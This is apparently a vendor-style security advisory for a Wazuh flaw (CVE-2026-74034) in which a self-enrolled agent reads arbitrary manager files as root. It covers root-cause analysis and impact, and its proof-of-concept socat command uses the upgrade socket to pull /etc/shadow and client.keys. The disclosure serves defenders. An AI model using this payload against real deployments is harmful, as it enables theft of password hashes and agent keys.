Wazuh: Enrolled Agent Reads Arbitrary Manager Files as Root

The manager's upgrade module takes commands without checking their origin, so a self-enrolled agent reads any file on the host as root.

Advisory ID: TP-2026-083
Product: Wazuh (open source SIEM and XDR platform with a central manager and agents)
Vulnerability type: Missing authentication for a critical function (CWE-306)
CVE: CVE-2026-74034
CVSS 3.1: 7.5 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected versions: >= 4.1.0, < 4.14.8
Vendor advisory: GHSA-r7hm-43xr-477j
Fixed in: 4.14.8
Reported: 16 July 2026

Summary

Wazuh deploys agents on the monitored systems, and those agents report their events to a central manager. The manager takes agent upgrade commands from a local socket that both the management API and the wazuh-analysisd service write to, and it does not tell the two writers apart when it reads. The first byte of a decrypted agent message selects the target queue, so an agent can push its own upgrade_custom command with a free-form file path into that socket. The upgrade module runs as root and checks the path only for the file's existence. Anonymous agent enrolment is the shipped default, so an attacker enrols an agent of their own and then has any file on the manager host read as root and streamed back to that agent.

Root cause

For messages from the secure channel, SendMSGAction sets the target queue to the first byte of the agent's plaintext (src/shared/mq_op.c:129-143), so a leading u routes the message to the upgrade branch in analysisd (src/analysisd/analysisd.c:1379), where the service forwards the JSON verbatim and only overwrites the agents field with the server-assigned sender id (src/analysisd/analysisd.c:1951-1970). The receiving wm_agent_upgrade_listen_messages serves WM_UPGRADE_SOCK with no origin check at all and treats an agent-injected message exactly like an API call (src/wazuh_modules/agent_upgrade/manager/wm_agent_upgrade_manager.c:88-201). The parser copies parameters.file_path verbatim into the task (wm_agent_upgrade_parsing.c:285-332), and the matching validation consists of wfopen plus fclose, so there is no path jail, no WPK signature check and no extension check (wm_agent_upgrade_validate.c:453-469). The wazuh-modulesd service, running as root, then reads the file in chunks, base64-encodes it and writes it over the upgrade channel into the requesting agent's var/incoming directory (wm_agent_upgrade_upgrades.c:291-303 and :421-476), where it stays because the signature check fails only after the transfer.

Proof of Concept

# on an anonymously enrolled agent (id 001), manager in its default configuration
printf '%s' 'u:upgrade_module:{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}' \
  | socat -t1 - UNIX-SENDTO:/var/ossec/queue/sockets/queue

# -> the manager reads /etc/shadow as root and ships it back
md5sum /var/ossec/var/incoming/shadow     # on the agent
md5sum /etc/shadow                        # on the manager, identical

The agent service encrypts the line and sends it over the regular channel on port 1514; the leading u picks the upgrade queue. The same line with file_path set to /var/ossec/etc/client.keys yields the pre-shared keys of every enrolled agent.

Impact

  • Read of any file on the manager host as root, including /etc/shadow, private TLS keys and the API ES512 signing key.
  • Theft of client.keys and with it the pre-shared keys of every enrolled agent.
  • Impersonation or decryption of other agents' connections using the stolen keys.
  • Forced upgrades, downgrades and reinstalls of arbitrary agents, because the missing origin check covers the whole socket.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.

Request a Pentest